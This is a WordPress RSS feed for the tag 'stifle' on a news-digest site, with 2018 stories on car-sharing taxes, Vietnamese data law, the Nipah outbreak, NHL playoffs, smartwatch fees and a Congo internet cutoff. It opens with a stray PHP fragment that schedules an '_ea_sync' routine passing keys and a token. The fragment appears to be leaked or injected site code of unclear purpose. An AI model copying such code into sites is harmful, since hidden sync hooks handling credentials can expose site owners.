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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); stifle – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 29 Aug 2018 21:51:39 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.6 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png stifle – Brief News https://briefnews.eu 32 32 Illinois governor vetoes bill that would stifle car sharing https://briefnews.eu/illinois-governor-vetoes-bill-that-would-stifle-car-sharing/ https://briefnews.eu/illinois-governor-vetoes-bill-that-would-stifle-car-sharing/#respond Wed, 29 Aug 2018 21:51:39 +0000 http://briefnews.eu/illinois-governor-vetoes-bill-that-would-stifle-car-sharing/

Illinois Governor Bruce Rauner has vetoed a bill that stood to damage peer-to-peer car sharing companies like Turo, GetAround and Maven. The bill was passed by the state legislature in May and would have applied the same state and local taxes big rental companies like Avis or Hertz have to pay to the individuals that rent out their vehicles on the car sharing platforms. Those include a five percent tax as well as local taxes of up to 20 percent. While the bill didn’t initially include such stipulations, Ars Technica reports that industry lobbyists pushed for the changes late in the process.

“There are meaningful and direct benefits to car sharing that Illinoisans will enjoy at every level; it will reduce congestion, lower the strain placed on scarce parking space inventory and it will make it easier for people to afford vehicles while simultaneously lowering the cost of transportation for those who cannot afford full-time car ownership,” Rauner wrote in his recommendations for changes to the bill. “Oversight of this new industry is important to protect consumers; however, we should be careful not to unintentionally smother its growth before it has a chance to get off the ground.” He also noted that the changes were made without allowing for public input or debate.

Critics of the bill have said that an Illinois resident who wants to occasionally rent out their car when it’s not in use shouldn’t be subject to the same taxes as major car rental companies. They’ve also pointed out that those companies receive tax breaks that individuals wouldn’t get and that peer-to-peer rentals aren’t exempt from sales tax like rental car companies are.

“It’s easy for even an active follower of tech and startups to think that the constant marginal progress we see is automatic,” Mischa Fisher, Governor Rauner’s chief economist, told Ars Technica. “But what nearly happened in Illinois is a reminder that the legal rules matter, and if we want to have competitive marketplaces that produce new goods and services in any state, we don’t want incumbent players authoring their competitors’ rules without any oversight or feedback.”

Car sharing companies voiced their support for the veto, but the car rental industry isn’t so pleased. “Why the Governor would veto bipartisan legislation that exempts peer-to-peer car rental providers from basic requirements is beyond comprehension,” Enterprise Rent-A-Car told Ars Technica. “Ensuring vehicle safety, offering transparent pricing and collecting essential state and municipal fees is just common sense. If peer-to-peer doesn’t pay taxes or fees, cities/municipalities will have to find ways to make up for lost revenue. That will only hurt local businesses and citizens while peer-to-peer companies get a free pass. We are confident the legislature will right this wrong.”

The governor added that a number of other regulations put into place by the bill, such as font size requirements, real estate design rules and human inspection of drivers’ licenses, don’t work with the car sharing model. His recommended changes now head back to the state legislature, both chambers of which passed the bill by strong majorities.

]]> https://briefnews.eu/illinois-governor-vetoes-bill-that-would-stifle-car-sharing/feed/ 0 Vietnam’s new tech laws may stifle online dissent https://briefnews.eu/vietnams-new-tech-laws-may-stifle-online-dissent/ https://briefnews.eu/vietnams-new-tech-laws-may-stifle-online-dissent/#respond Tue, 12 Jun 2018 17:24:18 +0000 http://briefnews.eu/vietnams-new-tech-laws-may-stifle-online-dissent/

Today, lawmakers in Vietnam voted in favor of a bill that requires tech companies that do business in the country to house all user data domestically. Additionally, social media companies such as Twitter and Facebook must remove any offensive content within 24 hours of receiving a request from Vietnamese authorities.

This law is similar to that of China’s, which requires any cloud services (such as Apple’s iCloud) to store data on local services and be operated by a local company. This has, in turn, raised questions about how secure the data is. Police in China can issue warrants without the oversight of the courts, and Apple will be compelled to turn over data if presented with a legal order. This, understandably, has advocates for human rights worried.

Vo Trong Viet, the head of Vietnam’s defense and security committee, told Reuters that the law is necessary for fighting cyber crime. However, protestors worry that the new law can harm dissenters in the Communist country. This law could also force tech companies to hand over personal information to the authorities as well as censor posts that are in opposition to the government. “With the sweeping powers it grants the government to monitor online activity, this vote means there is now no safe place left in Vietnam for people to speak freely,” Amnesty International’s Clare Algar, the head of global operations, told Reuters.

Via: CNET

Source: Reuters

]]> https://briefnews.eu/vietnams-new-tech-laws-may-stifle-online-dissent/feed/ 0 Race to stifle deadly Nipah virus after 13 killed in outbreak https://briefnews.eu/race-to-stifle-deadly-nipah-virus-after-13-killed-in-outbreak/ https://briefnews.eu/race-to-stifle-deadly-nipah-virus-after-13-killed-in-outbreak/#respond Tue, 29 May 2018 08:42:58 +0000 http://briefnews.eu/race-to-stifle-deadly-nipah-virus-after-13-killed-in-outbreak/

Some 13 people have died following an outbreak of a rare and deadly disease in southern India. Scientists are now racing to find the source of the virus in case the spate of deaths heralds the beginning of a pandemic.

READ MORE: Indian biotech firm says it has developed 2 vaccines for Zika virus

Health officials in the state of Kerala are on high alert after tests on animals thought to be carriers for the Nipah virus, including bats, cattle, goats and pigs, showed no sign of the disease. Nipah manifests with flu-like symptoms and can cause encephalitis – inflammation of the brain – which can lead to brain damage and death. There is no vaccine for the disease.

Kerala’s animal husbandry officer, A Mohandas, told Reuters that his team are now collecting samples from fruit bats in Peramba, a town in the Kozhikode district in the center of the state. Peramba is thought to be the epicenter of the outbreak.

More than 110 people have been tested in recent weeks, leading to 15 confirmed cases, in which 13 patients have now died. There are fears the disease may have spread beyond Kerala although no confirmed cases have yet been found elsewhere.

The disease was first identified during an outbreak in Malaysia in 1998. Pigs were thought to be the intermediate host at the time, but the World Health Organization (WHO) found that fruit bats are the most natural host for the virus. In Bangladesh in 2004, humans were infected with the virus after eating date palm sap that had been contaminated by infected fruit bats.

READ MORE: Chicago airport issues measles alert days after exposure

Fears of a pandemic have been raised in recent times following serious outbreaks of both the Zika and Ebola viruses on different continents. Earlier this month, the WHO warned that the recent Ebola outbreak in the Democratic Republic of Congo is on an “epidemiological knife’s edge” amid concerns that the virus could spread to urban areas.

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]]> https://briefnews.eu/race-to-stifle-deadly-nipah-virus-after-13-killed-in-outbreak/feed/ 0 Predators stifle Jets' attack to knot series 2-2 https://briefnews.eu/predators-stifle-jets-attack-to-knot-series-2-2/ https://briefnews.eu/predators-stifle-jets-attack-to-knot-series-2-2/#respond Fri, 04 May 2018 05:04:04 +0000 http://briefnews.eu/predators-stifle-jets-attack-to-knot-series-2-2/

Pekka Rinne made 32 saves as the Nashville Predators defeated the Winnipeg Jets 2-1 on Thursday to even their second-round series 2-2.

Ryan Hartman and P.K. Subban scored for the Predators.

Patrik Laine replied for the Jets, who got 29 stops from Connor Hellebuyck.

Game 5 of the best-of-seven Western Conference semifinal goes Saturday in Nashville, with Game 6 set for Winnipeg on Monday.

Game 7, if necessary, would be back in Nashville next Thursday.

Neutral zone clogged

While not really at fault on any of the five goals he allowed in the Predators’ 7-4 loss in Game 3, Rinne still rebounded in impressive fashion behind a team that played much better defensively and won the vast majority of the 50-50 battles.

The Jets had far less space in the neutral zone to operate, but also saw a couple of golden opportunities just bounce over their sticks.

Leading 1-0 after the first period, the Predators stretched their lead to two with 5:24 left in the second when Subban blasted a one-timer on Nashville’s first power play of the night through Hellebuyck for his third goal of the series, and third of the playoffs.

Booed by the thunderous white-clad crowd every time he’s touched the puck the last two games, Subban seemed to feed off the noise directed his way at the cauldron that is Bell MTS Place.

The Jets had a couple of great chances to tie the game earlier in the period, with Kyle Connor missing on a pass from Bryan Little in the slot on a man advantage before Mark Scheifele saw the puck skip over his stick on a 2-on-1 with Blake Wheeler moments before Subban silenced the home crowd with his power-play blast.

Laine scored on a 6-on-4 advantage with 50.2 seconds left in the third — his third of the playoffs and first of the series — but the Predators held on from there to wrestle back home-ice advantage.

Nikolaj Ehlers was back on the Jets’ top line alongside Scheifele and Wheeler after switching spots with Connor following Tuesday’s disastrous opening 20 minutes that saw Winnipeg fall behind 3-0. Connor once again skated with Laine and Paul Stastny.

Close throughout

Nashville opened the scoring with 2:40 left in the first when Hartman scored his second of the playoffs off a scramble in front. An attempted clear by Winnipeg’s Ben Chiarot in front instead went off defence partner Tyler Myers and right to Hartman, who was quickest to the loose puck before beating Hellebuyck upstairs.

The teams traded chances earlier in the period, with Hellebuyck stopping Roman Josi and Scott Hartnell on 2-on-1 breaks, while the butt end of Rinne’s stick got in the way of Josh Morrisey’s backhand chance along the ice at the other end.

Winnipeg advanced to the second round of the playoffs for the first time since relocating from Atlanta in 2011, brushing aside the Minnesota Wild in five games. The old Jets, who left town in 1996 to become the Phoenix Coyotes, only made it beyond the first round twice in their history, with the last coming in 1987.

The Predators, meanwhile, disposed of the Colorado Avalanche in six games in the opening round, and are looking to get back to the Stanley Cup final after losing out to the Pittsburgh Penguins in last year’s final.

Nashville collected an NHL-high 117 points in the regular season to win the Presidents’ Trophy, while Winnipeg finished with to come second. But because of the NHL’s playoff format, the two Central Division rivals are meeting in the second round instead of potentially tangling in the Western Conference final.

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]]> https://briefnews.eu/predators-stifle-jets-attack-to-knot-series-2-2/feed/ 0 Jets stifle Wild as Connor Hellebuyck falls just short of shutout https://briefnews.eu/jets-stifle-wild-as-connor-hellebuyck-falls-just-short-of-shutout/ https://briefnews.eu/jets-stifle-wild-as-connor-hellebuyck-falls-just-short-of-shutout/#respond Sat, 14 Apr 2018 05:08:10 +0000 http://briefnews.eu/jets-stifle-wild-as-connor-hellebuyck-falls-just-short-of-shutout/

Connor Hellebuyck wasn’t laying any blame for missing out on a shutout in his first NHL playoffs by 45 seconds.

The Winnipeg Jets goaltender was just glad Paul Stastny, Andrew Copp and Patrik Laine scored in the third period to propel the team to a 4-1 win over the Minnesota Wild on Friday.

The victory gave the Jets a 2-0 lead in the first round of their NHL Western Conference best-of-seven playoff series.

“Yeah,” Hellebuyck said when asked if he was disappointed in not posting a shutout. “But you know what, we got the win and that’s all I care about, especially this time of year. The guys played so well in front of me, there’s no fault.”

Winnipeg beats Minnesota 4-1, scores 3 goals in 3rd period.1:37

Wild forward Zach Parise scored his second goal of the series when he deflected a Mikko Koivu shot past Hellebuyck at 19:15.

The goal came on the power play after Jets forward Brandon Tanev was called for hooking with 59 seconds left.

Dubnyk sharp for Wild

Hellebuyck made 16 saves. Devan Dubnyk stopped 40 shots for Minnesota to go along with Wednesday’s 43.

Jets defenceman Tyler Myers had a goal in the second period and also picked up an assist. Laine added one helper and rookie forward Jack Roslovic, replacing injured veteran Mathieu Perreault, had a pair of assists.

Winnipeg won 3-2 on Wednesday, with Game 3 going Sunday at Xcel Energy Center in St. Paul.

If it begins similar to the way Friday’s ended, it could be a wild match.

With 10 seconds left in the game, fists started flying and a total of 65 penalty minutes were recorded.

“We stuck up for each other,” Wild centre Eric Staal said. “We’re going to do our best to make this a series and compete. We’re going to come home in front of our fans and be ready to play Game 3.”

1st period contrast

The Wild will have to ramp up a big segment of their play, considering they didn’t get a shot on goal for the last five minutes of the second period and the first 15 minutes of the third.

It was in contrast to the way they started the scoreless first period, surpassing the four-shot total they had in Wednesday’s opening frame with five by the five-minute mark. That included three shots at Hellebuyck during a power play with Myers in the box for tripping.

Dubnyk didn’t have to stop a Winnipeg shot until seven minutes had passed. The Jets then turned on a switch and had outshot the visitors 13-9 when the period ended, but many were from the outside.

Winnipeg got its first power play five minutes into the second when Jets centre Mark Scheifele was tripped by Wild defenceman Jonas Brodin, but it wasn’t their shots with the man advantage that sparked the crowd.

Jets defenceman Dustin Byfuglien threw two big hits nine seconds apart, the first on Wild forward Mikael Granlund in front of the Winnipeg bench, the second a slam that rocked Koivu into the boards behind Hellebuyck.

“Unfortunately, I didn’t get a good look,” Hellebuyck said with a chuckle of the Koivu hit. “I’m definitely going to be looking at the replays because the crowd went nuts.”

Hits provide energy for Jets

Winnipeg only got one shot on goal on the power play, but the momentum — and hits — carried on and Myers scored at 8:41 to make it 1-0.

When the second period ended, Winnipeg had outshot the Wild 27-14 and were ahead 28-18 in hits.

“He’s just throwing his body all around the ice and it just gives us so much energy,” Laine said of Byfuglien. “The crowd seems to like it, so we like it, too.”

Stastny and Copp scored 1:42 apart in the third, with Byfuglien sending a backhand to the front of the net that Statsny slapped in at 7:42.

Copp made it 3-0 at 9:24 when he redirected in a Bryan Little shot. Laine fired in his second goal of the series from the right circle at 17:58. He also assisted on Stastny’s goal.

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]]> https://briefnews.eu/jets-stifle-wild-as-connor-hellebuyck-falls-just-short-of-shutout/feed/ 0 Unjustifiable carrier fees will stifle LTE smartwatch adoption https://briefnews.eu/unjustifiable-carrier-fees-will-stifle-lte-smartwatch-adoption/ https://briefnews.eu/unjustifiable-carrier-fees-will-stifle-lte-smartwatch-adoption/#respond Tue, 02 Jan 2018 02:08:46 +0000 http://briefnews.eu/unjustifiable-carrier-fees-will-stifle-lte-smartwatch-adoption/

OPINION:

Wearables have become an established category over the past few years, but the subcategory of LTE wearables is still tiny and fragile. Unfortunately, cellular providers are treating LTE wearables like tablets, as if they’re similarly capable of gobbling data at phone-like rates. To encourage adoption, carriers should treat wearables as what they are — trivial additions to their networks — and stop charging unnecessarily high fees for data services.

In 2013, wearables were projected to hit $ 19 billion in annual sales by 2018, a milestone they crossed a year early. The category grows in popularity each year. Only a small fraction of these sales, however, are wearables with cellular capabilities — specifically, smartwatches that can make calls and use LTE data services on their own.

There are so few LTE wearables because the technology isn’t ready for prime time: The LTE Apple Watch only has enough power for one hour of cellular calls, while the larger Samsung Gear S3 promises only three hours. Small, low-resolution screens and simple input interfaces guarantee that even top smartwatches won’t demand heavy loads of LTE data anytime soon, and they can’t serve as hotspots for larger devices, either. So at best, LTE watches remain highly limited sidekicks to cell phones; no one buys one without a smartphone to use for most purposes.

All things considered, the various carrier service fees are simply hard to justify.

What do LTE wearables currently cost per month?

U.S. carriers currently charge at least $ 10 per month to add an LTE wearable onto your existing cellular plan, or $ 120 per year. As first noted by MacRumors, however, Verizon adds additional “regulatory” surcharges that bring their charges up to $ 15 per month, or $ 180 per year. AT&T’s surcharges are lower than that, but higher than T-Mobile’s flat, no-extra-fees $ 10 rate.

That’s not all you have to pay for LTE access. AT&T and Verizon both charge a $ 25 activation fee for wearables; Sprint’s fee is $ 30. You get charged the first time you start using your wearable on the network, then have to pay a reactivation fee if you decide to stop monthly service and restart it later. Users who think they can bring their LTE watches on and off the cellular network will wind up with an expensive surprise.

What should LTE wearables cost per month?

The short answer? $ 5 or less. A monthly tablet plan with 1GB of data costs around $ 10, and the perceived monthly value of a wearable is lower.

It goes without saying that cellular service plans for devices have certain “reasonable” price points: hit them and people will sign up, miss them and people will hold off. Different types of devices have different reasonable service prices — the higher the perceived value, the higher the price could be.

Recognizing the potential of smartphones to one day dominate the cellular business, Apple required AT&T to offer customers a reasonably priced unlimited data plan for the original iPhone: Just like Danger’s Sidekicks, the iPhone’s data plans added $ 20 per month to any voice calling plan. Once both iPhones and faster data service became ubiquitous, carriers increased their data prices.

It’s hard to justify either the activation or recurring fees for wearables. Previously, “activation” required giving a customer a SIM card, paying a customer service agent to assist with the SIM installation/setup process, and manually provisioning a cellular account. But the latest LTE watches have built-in eSIMs and can be added to an existing phone plan in seconds by the customer, straight from the phone or watch screen. What is a $ 25-$ 30 watch activation fee really buying?

Recurring charges for LTE accessories should be commensurate with the value they provide. Carriers offer $ 10 LTE tablet data add-ons for devices that strain cellular networks more than watches — and do a lot more. Paying an extra $ 10 per month to receive the occasional phone call or text message on a smartwatch just doesn’t feel reasonable, given that wearables register such minor ticks on the cellular data meter.

That said, the cellular price you already pay monthly will dictate the perceived extra value of sharing your phone’s existing services with a watch. Do you already pay for tethering? Have you added a tablet to your mobile plan? You might reasonably feel like adding a modestly useful wearable to your existing services should be free. Others might be OK with a recurring $ 5 monthly charge, or a one-time charge in the $ 50 range. Polling the minuscule base of existing LTE wearable customers — uber-vanguard early adopters willing to purchase the craziest of products — won’t yield an accurate number for what everyone else would find appealing or reasonable.

A smarter solution for LTE smartwatches

Smartphones were supposed to save us from the inscrutability of dumb phones. They succeeded — arguably too much for society’s own good. Then Bluetooth and Wi-Fi smartwatches were pitched to free us from the addictiveness of smartphones. So far, that hasn’t happened. Today’s wearables provide just enough voice and data access to let you interrupt smartphone sessions… so long as your phone is somewhere nearby.

LTE smartwatches are meant to really let people walk away from their phones. Used by themselves, current LTE watches could theoretically store a map of your 100-mile bike route, track your progress during the ride with GPS, and let you call someone for an emergency rescue along the way. But due to battery limitations, you probably won’t have enough juice to make a call from the hospital that night, unless you carry a charger or spare battery around. At that point, you would have been better off just carrying your phone, defeating the watch’s purpose.

Until wearables begin to demand phone- or tablet-level data, cellular companies should treat smartwatches as what they are — minor accessories — and cut their monthly fees to $ 5, perhaps discounted to $ 50 annually if prepaid. This will encourage adoption of LTE wearable technology, which otherwise could struggle to become as ubiquitous as smartphones are today. With the right pricing and performance, LTE wearables could actually surpass phones by becoming necessities for huge numbers of young kids and seniors. That day’s not near, but proper pricing will bring it a lot closer to reality.

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Authoritarian leaders are fond of severing communications in a bid to hold on to power, and that tradition sadly isn’t going away. The Democratic Republic of Congo’s government has ordered telecoms to cut internet and SMS access ahead of planned mass protests against President Joseph Kabila, whose administration has continuously delayed elections to replace him. Telecom minister Emery Okundji told Reuters that it was a response to “violence that is being prepared,” but people aren’t buying that argument. Officials had already banned demonstrations, and the country has history of cutting communications and blocking social network access in a bid to quash dissent.

Historically, these attempts at disrupting communication have had mixed results. Kabila used a communications cut in 2015 with some success, but attempts in Egypt and elsewhere have failed — if just because service eventually has to come back. And the Congo protests this time around promise to be particularly strong, with a normally divided opposition rallying together. An attempt to sever internet and SMS access may make it difficult to coordinate, but a sufficiently angry public will still find a way to make its voice heard.

Source: Reuters

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